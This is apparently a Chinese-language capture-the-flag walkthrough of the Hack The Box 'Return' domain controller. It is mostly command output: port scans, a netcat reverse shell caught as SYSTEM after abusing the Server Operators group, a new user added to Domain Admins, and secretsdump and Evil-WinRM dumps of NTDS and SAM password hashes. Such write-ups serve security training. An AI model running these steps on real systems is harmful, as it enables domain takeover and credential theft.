┌──(root㉿kaada)-[/home/kali/Desktop] └─# ./rustscan -a 10.129.217.15 -r 1-65535 --ulimit 5000 .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }//\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- Scanning ports faster than you can say 'SYN ACK'
[~] The config file is expected to be at "/root/.rustscan.toml" [~] Automatically increasing ulimit value to 5000. Open 10.129.217.15:53 Open 10.129.217.15:80 Open 10.129.217.15:88 Open 10.129.217.15:135 Open 10.129.217.15:139 Open 10.129.217.15:389 Open 10.129.217.15:445 Open 10.129.217.15:464 Open 10.129.217.15:593 Open 10.129.217.15:636 Open 10.129.217.15:3268 Open 10.129.217.15:3269 Open 10.129.217.15:47001 Open 10.129.217.15:49666 Open 10.129.217.15:49668 Open 10.129.217.15:49664 Open 10.129.217.15:49665 Open 10.129.217.15:49676 Open 10.129.217.15:49679 Open 10.129.217.15:49671 Open 10.129.217.15:49675 Open 10.129.217.15:49674 Open 10.129.217.15:49694 Open 10.129.217.15:63229 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-1421:13 EST Initiating Ping Scan at 21:13 Scanning 10.129.217.15 [4 ports] Completed Ping Scan at 21:13, 0.11s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 21:13 Completed Parallel DNS resolution of 1 host. at 21:13, 0.00s elapsed DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 21:13 Scanning 10.129.217.15 [24 ports] Discovered open port 80/tcp on 10.129.217.15 Discovered open port 445/tcp on 10.129.217.15 Discovered open port 139/tcp on 10.129.217.15 Discovered open port 53/tcp on 10.129.217.15 Discovered open port 636/tcp on 10.129.217.15 Discovered open port 135/tcp on 10.129.217.15 Discovered open port 49664/tcp on 10.129.217.15 Discovered open port 464/tcp on 10.129.217.15 Discovered open port 3269/tcp on 10.129.217.15 Discovered open port 49666/tcp on 10.129.217.15 Discovered open port 47001/tcp on 10.129.217.15 Discovered open port 49676/tcp on 10.129.217.15 Discovered open port 389/tcp on 10.129.217.15 Discovered open port 63229/tcp on 10.129.217.15 Discovered open port 49668/tcp on 10.129.217.15 Discovered open port 49694/tcp on 10.129.217.15 Discovered open port 49675/tcp on 10.129.217.15 Discovered open port 88/tcp on 10.129.217.15 Discovered open port 593/tcp on 10.129.217.15 Discovered open port 49674/tcp on 10.129.217.15 Discovered open port 49665/tcp on 10.129.217.15 Discovered open port 49679/tcp on 10.129.217.15 Discovered open port 49671/tcp on 10.129.217.15 Discovered open port 3268/tcp on 10.129.217.15 Completed SYN Stealth Scan at 21:13, 0.19s elapsed (24 total ports) Nmap scan report for 10.129.217.15 Host is up, received echo-reply ttl 127 (0.091s latency). Scanned at 2026-01-1421:13:52 EST for 0s
PORT STATE SERVICE REASON 53/tcp open domain syn-ack ttl 127 80/tcp open http syn-ack ttl 127 88/tcp open kerberos-sec syn-ack ttl 127 135/tcp open msrpc syn-ack ttl 127 139/tcp open netbios-ssn syn-ack ttl 127 389/tcp open ldap syn-ack ttl 127 445/tcp open microsoft-ds syn-ack ttl 127 464/tcp open kpasswd5 syn-ack ttl 127 593/tcp open http-rpc-epmap syn-ack ttl 127 636/tcp open ldapssl syn-ack ttl 127 3268/tcp open globalcatLDAP syn-ack ttl 127 3269/tcp open globalcatLDAPssl syn-ack ttl 127 47001/tcp open winrm syn-ack ttl 127 49664/tcp open unknown syn-ack ttl 127 49665/tcp open unknown syn-ack ttl 127 49666/tcp open unknown syn-ack ttl 127 49668/tcp open unknown syn-ack ttl 127 49671/tcp open unknown syn-ack ttl 127 49674/tcp open unknown syn-ack ttl 127 49675/tcp open unknown syn-ack ttl 127 49676/tcp open unknown syn-ack ttl 127 49679/tcp open unknown syn-ack ttl 127 49694/tcp open unknown syn-ack ttl 127 63229/tcp open unknown syn-ack ttl 127
Read data files from:/usr/share/nmap Nmap done:1 IP address (1 host up) scanned in0.39 seconds Raw packets sent:28 (1.208KB) | Rcvd:25 (1.084KB)
[~] The config file is expected to be at "/root/.rustscan.toml" [~] Automatically increasing ulimit value to 5000. Open 10.129.217.15:80 Open 10.129.217.15:88 Open 10.129.217.15:135 Open 10.129.217.15:139 Open 10.129.217.15:389 Open 10.129.217.15:593 Open 10.129.217.15:636 Open 10.129.217.15:3268 Open 10.129.217.15:3269 Open 10.129.217.15:5985 Open 10.129.217.15:9389 Open 10.129.217.15:53 Open 10.129.217.15:464 Open 10.129.217.15:445 Open 10.129.217.15:47001 Open 10.129.217.15:63229 [~] Starting Script(s) [>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A -sV -sC" on ip 10.129.217.15 Depending on the complexity of the script, results may take some time to appear. [~] Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-14 21:15 EST NSE: Loaded 157 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 21:15 Completed NSE at 21:15, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 21:15 Completed NSE at 21:15, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 21:15 Completed NSE at 21:15, 0.00s elapsed Initiating Ping Scan at 21:15 Scanning 10.129.217.15 [4 ports] Completed Ping Scan at 21:15, 1.65s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 21:15 Completed Parallel DNS resolution of 1 host. at 21:15, 0.00s elapsed DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 21:15 Scanning 10.129.217.15 [16 ports] Discovered open port 53/tcp on 10.129.217.15 Discovered open port 80/tcp on 10.129.217.15 Discovered open port 135/tcp on 10.129.217.15 Discovered open port 139/tcp on 10.129.217.15 Discovered open port 63229/tcp on 10.129.217.15 Discovered open port 445/tcp on 10.129.217.15 Discovered open port 464/tcp on 10.129.217.15 Discovered open port 5985/tcp on 10.129.217.15 Discovered open port 9389/tcp on 10.129.217.15 Discovered open port 389/tcp on 10.129.217.15 Discovered open port 88/tcp on 10.129.217.15 Discovered open port 3268/tcp on 10.129.217.15 Discovered open port 47001/tcp on 10.129.217.15 Discovered open port 636/tcp on 10.129.217.15 Discovered open port 593/tcp on 10.129.217.15 Discovered open port 3269/tcp on 10.129.217.15 Completed SYN Stealth Scan at 21:15, 0.21s elapsed (16 total ports) Initiating Service scan at 21:15 Scanning 16 services on 10.129.217.15 Stats: 0:00:46 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 93.75% done; ETC: 21:16(0:00:03 remaining) Completed Service scan at 21:16, 57.06s elapsed (16 services on 1 host) Initiating OS detection (try #1) against 10.129.217.15 Retrying OS detection (try #2) against 10.129.217.15 Initiating Traceroute at 21:16 Completed Traceroute at 21:16, 0.09s elapsed Initiating Parallel DNS resolution of 2 hosts. at 21:16 Completed Parallel DNS resolution of 2 hosts. at 21:16, 0.00s elapsed DNS resolution of 2 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 2, DR: 0, SF: 0, TR: 2, CN: 0] NSE: Script scanning 10.129.217.15. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 21:16 Completed NSE at 21:16, 9.36s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 21:16 Completed NSE at 21:16, 2.46s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 21:16 Completed NSE at 21:16, 0.00s elapsed Nmap scan report for 10.129.217.15 Host is up, received reset ttl 127 (0.088s latency). Scanned at 2026-01-14 21:15:24 EST for 72s
PORT STATE SERVICE REASON VERSION 53/tcp open domain syn-ack ttl 127 Simple DNS Plus 80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0 | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: HTB Printer Admin Panel 88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-01-15 02:34:06Z) 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn 389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? syn-ack ttl 127 464/tcp open kpasswd5? syn-ack ttl 127 593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped syn-ack ttl 127 3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped syn-ack ttl 127 5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing 47001/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 63229/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port OS fingerprint not ideal because: Missing a closed TCP port so results incomplete Aggressive OS guesses: Microsoft Windows Server 2016 (96%), Microsoft Windows Server 2019 (96%), Microsoft Windows 10 (93%), Microsoft Windows 10 1709 - 21H2 (93%), Microsoft Windows 10 1903 (93%), Microsoft Windows 10 21H1 (93%), Microsoft Windows Server 2012 (93%), Microsoft Windows Server 2022 (93%), Windows Server 2019 (92%), Microsoft Windows Vista SP1 (92%) No exact OS matches for host (test conditions non-ideal). TCP/IP fingerprint: SCAN(V=7.95%E=4%D=1/14%OT=53%CT=%CU=42462%PV=Y%DS=2%DC=T%G=N%TM=69684E04%P=x86_64-pc-linux-gnu) SEQ(SP=103%GCD=1%ISR=107%TI=I%CI=I%II=I%SS=S%TS=U) SEQ(SP=104%GCD=2%ISR=10A%TI=I%CI=I%II=I%SS=S%TS=U) OPS(O1=M542NW8NNS%O2=M542NW8NNS%O3=M542NW8%O4=M542NW8NNS%O5=M542NW8NNS%O6=M542NNS) WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70) ECN(R=Y%DF=Y%T=80%W=FFFF%O=M542NW8NNS%CC=Y%Q=) T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=) T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=) T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=) T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=) T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=) T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=) T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=) U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G) IE(R=Y%DFI=N%T=80%CD=Z)
Network Distance: 2 hops TCP Sequence Prediction: Difficulty=259 (Good luck!) IP ID Sequence Generation: Incremental Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results: | p2p-conficker: | Checking for Conficker.C or higher... | Check 1 (port 43714/tcp): CLEAN (Couldn't connect) | Check 2 (port 24974/tcp): CLEAN (Couldn't connect) | Check 3 (port 54529/udp): CLEAN (Failed to receive data) | Check 4 (port 51924/udp): CLEAN (Timeout) |_ 0/4 checks are positive: Host is CLEAN or ports are blocked |_clock-skew: 18m33s | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required | smb2-time: | date: 2026-01-15T02:35:03 |_ start_date: N/A
TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 83.25 ms 10.10.14.1 2 83.56 ms 10.129.217.15
NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 21:16 Completed NSE at 21:16, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 21:16 Completed NSE at 21:16, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 21:16 Completed NSE at 21:16, 0.00s elapsed Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 74.35 seconds Raw packets sent: 62 (4.092KB) | Rcvd: 61 (3.808KB)
GroupNameType SID Attributes ========================================== ================ ============ ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled bydefault, Enabled group BUILTIN\Server Operators Alias S-1-5-32-549 Mandatory group, Enabled bydefault, Enabled group BUILTIN\Print Operators Alias S-1-5-32-550 Mandatory group, Enabled bydefault, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled bydefault, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled bydefault, Enabled group BUILTIN\Pre-Windows 2000 Compatible AccessAlias S-1-5-32-554 Mandatory group, Enabled bydefault, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled bydefault, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled bydefault, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled bydefault, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled bydefault, Enabled group Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ============================= =================================== ======= SeMachineAccountPrivilege Add workstations todomain Enabled SeLoadDriverPrivilege Loadand unload device drivers Enabled SeSystemtimePrivilege Change the systemtime Enabled SeBackupPrivilege Back up files and directories Enabled SeRestorePrivilege Restore files and directories Enabled SeShutdownPrivilege Shut down the system Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled SeTimeZonePrivilege Change the timezone Enabled
USER CLAIMS INFORMATION -----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
其中有一个组值得我们注意
1
BUILTIN\Server Operators
这个组允许我们启动/停止/创建服务，那么我们可以创建一个服务提权到system。
6.权限提升：滥用 Server Operators 组 (Privilege Escalation)
服务滥用 (Service Abuse) 原理：
目标：Windows 服务默认以 NT AUTHORITY\SYSTEM (System) 这一最高权限身份运行。如果我们能控制一个服务“执行什么代码”，我们就等于控制了 System 权限。
SCM (Service Control Manager)：Windows 的服务由 SCM 管理。普通用户无法修改服务配置。
┌──(root㉿kaada)-[/home/kali/Desktop] └─# nc -lvvp 4444 listening on [any]4444 ... connect to[10.10.14.70]from return.local[10.129.217.15]53605 Microsoft Windows [Version 10.0.17763.107] (c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami whoami nt authority\system
C:\Windows\system32>
那么之后创建一个临时用户抓取域中所有的哈希
1 2 3 4 5
C:\Users\Administrator\Desktop>net user hacker P@ssw0rd123! C:\Users\Administrator\Desktop>net group "Domain Admins" hacker /add /domain net group "Domain Admins" hacker /add /domain The command completed successfully.
┌──(root㉿kaada)-[/home/kali/Desktop] └─# impacket-secretsdump return.local/hacker:'P@ssw0rd123!'@10.129.217.15 Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Service RemoteRegistry is in stopped state [*] Starting service RemoteRegistry [*] Target system bootKey:0xa42289f69adb35cd67d02cc84e69c314 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:34386a771aaca697f447754e4863d38a::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [*] Dumping cached domain logon information (domain/username:hash) [*] Dumping LSA Secrets [*] $MACHINE.ACC RETURN\PRINTER$:aes256-cts-hmac-sha1-96:f1742d1b78c89a9d083c26369dc2c4259239801f940a8cacc9055bac5cdfba4d RETURN\PRINTER$:aes128-cts-hmac-sha1-96:46efbc5c55b316fe2d33d207fbecc859 RETURN\PRINTER$:des-cbc-md5:85b02a0e25d3ae40 RETURN\PRINTER$:plain_password_hex:f343a0895418a7c18a3c35bb4bb62c258e321a07d901aecc29f172468d3c69bbb392a6d95961d8368aac6bf342ce28781812bdad9b9f913cf98b94b59e901c288ef8769c245a8446ed49c577c58e38379d0bd74366c95550330946105e365b1d0b798dab723e3411a9ad55561300930ecf5344c136aef88ef76f32ce8b9661ec04f612b7510fcb6321470db47eb1d71283db7ef9ffc0539297050ea63786792f04b7931ce7ada25e17ba8a7710f40f7b7010be398135e317a69f60291d9403a550983f84f3aebf4b0f36c114c528d43910fff484ede15d79834f55350e91c77b76c7cc124b0d66020c291563a700b10a RETURN\PRINTER$:aad3b435b51404eeaad3b435b51404ee:2a2c8013b8be82cd6dfbd3603829fced::: [*] DPAPI_SYSTEM dpapi_machinekey:0x06243ead9780ed8b9e36d34624aca3eff9eff2a0 dpapi_userkey:0x3dba4981ae9cb884001d7b0b3ffa5d3504fc12b8 [*] NL$KM 000016 BD CA 3421 A5 5C AD 51 ED B1 7E 4A 4F 59 B8 ...4!.\.Q..~JOY. 0010 C3 65 1E 1A 5D 6D 97 82 79 3A 58 A0 FC 2B B5 8B .e..]m..y:X..+.. 0020 A4 E2 9B CF DD 7B 52809933454F F1 3515 DC .....{R..3EO.5.. 00304F 99 B3 A1 CB 5521 A5 CC F5 2743 F7 16 AA BC O....U!...'C.... NL$KM:16bdca3421a55cad51edb17e4a4f59b8c3651e1a5d6d9782793a58a0fc2bb58ba4e29bcfdd7b52809933454ff13515dc4f99b3a1cb5521a5ccf52743f716aabc [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:32db622ed9c00dd1039d8288b0407460::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4e48ce125611add31a32cd79e529964b::: return.local\svc-printer:1103:aad3b435b51404eeaad3b435b51404ee:c1d26bdcecf44246b5f8653284331a2e::: hacker:6601:aad3b435b51404eeaad3b435b51404ee:7dfa0531d73101ca080c7379a9bff1c7::: PRINTER$:1000:aad3b435b51404eeaad3b435b51404ee:2a2c8013b8be82cd6dfbd3603829fced::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:2f7d707eb859ec2c26109953831f54861a0ee47d3e4b16dde7f17009d08297b0 Administrator:aes128-cts-hmac-sha1-96:ef8673c4ba668752432c817dda62af48 Administrator:des-cbc-md5:4f0ee6291aabd338 krbtgt:aes256-cts-hmac-sha1-96:cc6ddaa28d2bb97926dabd1b82845479a97080aad93eddfd2ccf4f2ddf00961a krbtgt:aes128-cts-hmac-sha1-96:cc5f4a49b6a0cdb71cdea34e84ba2a2e krbtgt:des-cbc-md5:1086497c1fc1ab8a return.local\svc-printer:aes256-cts-hmac-sha1-96:6dd6f85d0cf31eb1c01d7aff4e30a58bc5948e6f05e6d88f5cdb57be0208117d return.local\svc-printer:aes128-cts-hmac-sha1-96:a92bc84131dcd4309431242e8ee9437e return.local\svc-printer:des-cbc-md5:574cb9a8a8e5cb43 hacker:aes256-cts-hmac-sha1-96:3de68d74694bc5bb98300076dc1421b614d6cdac92bf32edef3db8d04c53cd78 hacker:aes128-cts-hmac-sha1-96:a65c3c4ae658ad47908f773b06dcaff8 hacker:des-cbc-md5:3bc123622a52c7dc PRINTER$:aes256-cts-hmac-sha1-96:f1742d1b78c89a9d083c26369dc2c4259239801f940a8cacc9055bac5cdfba4d PRINTER$:aes128-cts-hmac-sha1-96:46efbc5c55b316fe2d33d207fbecc859 PRINTER$:des-cbc-md5:c1ecab8fa8ea8fba [*] Cleaning up... [*] Stopping service RemoteRegistry [-] SCMR SessionError: code: 0x41b - ERROR_DEPENDENT_SERVICES_RUNNING - A stop control has been sent to a service that other running services are dependent on. [*] Cleaning up... [*] Stopping service RemoteRegistry Exception ignored in: <function Registry.__del__ at 0x7f53ce9b7740> Traceback (most recent call last): File "/usr/lib/python3/dist-packages/impacket/winregistry.py", line 172, in __del__ File "/usr/lib/python3/dist-packages/impacket/winregistry.py", line 169, in close File "/usr/lib/python3/dist-packages/impacket/examples/secretsdump.py", line 409, in close File "/usr/lib/python3/dist-packages/impacket/smbconnection.py", line 633, in closeFile File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 1357, in close File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 474, in sendSMB File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 443, in signSMB File "/usr/lib/python3/dist-packages/impacket/crypto.py", line 150, in AES_CMAC File "/usr/lib/python3/dist-packages/Cryptodome/Cipher/AES.py", line 228, in new KeyError: 'Cryptodome.Cipher.AES' Exception ignored in: <function Registry.__del__ at 0x7f53ce9b7740> Traceback (most recent call last): File "/usr/lib/python3/dist-packages/impacket/winregistry.py", line 172, in __del__ File "/usr/lib/python3/dist-packages/impacket/winregistry.py", line 169, in close File "/usr/lib/python3/dist-packages/impacket/examples/secretsdump.py", line 409, in close File "/usr/lib/python3/dist-packages/impacket/smbconnection.py", line 633, in closeFile File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 1357, in close File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 474, in sendSMB File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 443, in signSMB File "/usr/lib/python3/dist-packages/impacket/crypto.py", line 150, in AES_CMAC File "/usr/lib/python3/dist-packages/Cryptodome/Cipher/AES.py", line 228, in new KeyError: 'Cryptodome.Cipher.AES'
SAM Username :Administrator Account Type :30000000(USER_OBJECT) User Account Control :00010200(NORMAL_ACCOUNTDONT_EXPIRE_PASSWD) Account expiration : Password last change :7/16/20217:03:22AM Object Security ID :S-1-5-21-3750359090-2939318659-876128439-500 Object Relative ID :500
------------------------------------------------------------------------------- ROBOCOPY :: Robust File Copy for Windows -------------------------------------------------------------------------------
Started : Wednesday, January 14, 2026 8:43:07 PM Source : C:\Users\Administrator\Desktop\ Dest : C:\Temp\
*Evil-WinRM* PS C:\Temp> reg save hklm\sam sam The operation completed successfully.
*Evil-WinRM* PS C:\Temp> reg save hklm\systemsystem The operation completed successfully.
*Evil-WinRM* PS C:\Temp> download sam
Info: Downloading C:\Temp\sam to sam
Info: Download successful! *Evil-WinRM* PS C:\Temp> download system
Info: Downloading C:\Temp\systemtosystem
Info: Download successful!
1 2 3 4 5 6 7 8 9 10
┌──(root㉿kaada)-[/home/kali/Desktop] └─# impacket-secretsdump -sam sam -system system local Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0xa42289f69adb35cd67d02cc84e69c314 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:34386a771aaca697f447754e4863d38a::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [*] Cleaning up...
